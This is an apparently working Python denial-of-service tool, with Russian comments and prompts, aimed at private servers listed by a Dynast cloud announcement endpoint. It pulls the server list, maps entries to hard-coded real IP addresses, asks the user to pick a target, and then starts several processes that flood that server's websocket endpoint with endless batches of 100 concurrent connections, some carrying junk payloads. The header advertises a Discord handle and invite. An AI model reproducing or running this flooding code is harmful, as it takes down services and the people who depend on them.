'''
Дарова, код и вправду не так защищен и его легко расшифровать напиши мне в дс то
интересно кто расшифрует первым
мой дс: space.mp4
'''
print('[INFO] Loading')
r = True
import asyncio
import websockets
import os
import requests
import ssl
from multiprocessing import Process
import json
import colorama
from colorama import Fore, Back, Style
colorama.init()
res = requests.get('https://announcement-amsterdam-0-alpaca.dynast.cloud/all')
res = res.json()['servers']
servers = []
for server in res:
if server['private'] == True:
if server['peer_key'] != None:
ip = 0
n = 14
if server['ip'] == 'Njo8ITsgOD86Ijo9PjY=':
ip = "144.202.106.31"
else:
ip = "199.247.27.30"
servers.append([server['label'][:-n].replace(" ", "").replace("\f",
"").replace('!', ''), server['peer_key'], ip])
text = ''
count = 1
def cls():
if os.name == 'posix':
os.system('clear')
elif os.name == 'nt':
os.system('cls')
cls()
print(f'''
{Fore.RED}
____ ___ ____ _____ ___ ____ ______ ___ _ _ ____ _____ _
| _ \ / _ \/ ___| | ___/ _ \| _ \ | _ \ \ / / \ | | / \ / ___|_ _(_) ___
| | | | | | \___ \ | |_ | | | | |_) | | | | \ V /| \| | / _ \ \___ \ | | | |/
_ \
| |_| | |_| |___) | | _|| |_| | _ < | |_| || | | |\ |/ ___ \ ___) || |_| | (_)
|
|____/ \___/|____/ |_| \___/|_| \_\ |____/ |_| |_| \_/_/ \_\____/ |_(_)_|\
___/
░ ▒ ▒ ░ ▒ ▒░ ░ ░ ░ ░ ░ ▒ ▒░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░ ░░ ░ ▒░
▒ ▒▒ ░░ ░▒ ░ ░ ░ ░▒ ▒ ░ ░ ▒ ▒░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░
░ ▒ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ▒
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
░
''')
max_len = 0
for server in servers:
if len(server[0]) > max_len:
max_len = len(server[0])
for server in servers:
s = max_len - len(server[0])
p = ' '
a = ''
if count >= 10:
p = ''
s = '.' * s
if count % 2 == 0:
a = Fore.RED
else:
a = Fore.GREEN
text += f'{a} {p}[{count}] {server[0]}{s}.{Style.RESET_ALL}\n'
count += 1
if r == True:
print('DOS BY i++ | https://discord.gg/FPsrdxAf')
print(text)
choice = input(f'{Fore.GREEN}[INPUT] {Fore.BLUE}Выберите номер сервера:{Fore.RED}
')
if not choice.isdigit():
print(f'{Fore.RED}[ERROR] {Fore.BLUE}Надо ввести цифру')
r = False
if r == True:
if len(servers) < int(choice):
print(f'{Fore.RED}[ERROR] {Fore.BLUE}Вы ввели не существующий сервер')
r = False
if r == True:
choice = int(choice)
if r == True:
server = servers[choice - 1]
d = server[1]
ip = server[2]
link = f'ws://{ip}:10999/by-key/{d}/ws/'
y = b'O' * 1000
async def connect_to_server_with_data():
try:
async with websockets.connect(link) as websocket:
await websocket.send(y)
print(f'{Fore.GREEN}[INFO] [WITH DATA] DOS CONNECTED! {Style.RESET_ALL}')
except:
print(f'{Fore.RED}[ERROR] [WITH DATA] DOS FAILED TO CONNECT!
{Style.RESET_ALL}')
async with websockets.connect(link) as websocket:
await websocket.send(y)
print(f'{Fore.GREEN}[INFO] [WITH DATA] DOS CONNECTED! {Style.RESET_ALL}')
def run_with_data():
while True:
num_loops = 100
tasks = []
for _ in range(num_loops):
task = asyncio.ensure_future(connect_to_server_with_data())
tasks.append(task)
asyncio.get_event_loop().run_until_complete(asyncio.gather(*tasks))
def run_code():
async def connect_to_server():
try:
async with websockets.connect(link) as websocket:
print(f'{Fore.GREEN}[INFO] DOS CONNECTED! {Style.RESET_ALL}')
except:
print(f'{Fore.RED}[ERROR] DOS FAILED TO CONNECT! {Style.RESET_ALL}')
async with websockets.connect(link) as websocket:
print(f'{Fore.GREEN}[INFO] DOS CONNECTED! {Style.RESET_ALL}')
while True:
num_loops = 100
tasks = []
for _ in range(num_loops):
task = asyncio.ensure_future(connect_to_server())
tasks.append(task)
asyncio.get_event_loop().run_until_complete(asyncio.gather(*tasks))
processes = []
for _ in range(2):
process = Process(target=run_code)
process.start()
processes.append(process)
process = Process(target=run_with_data)
process.start()
processes.append(process)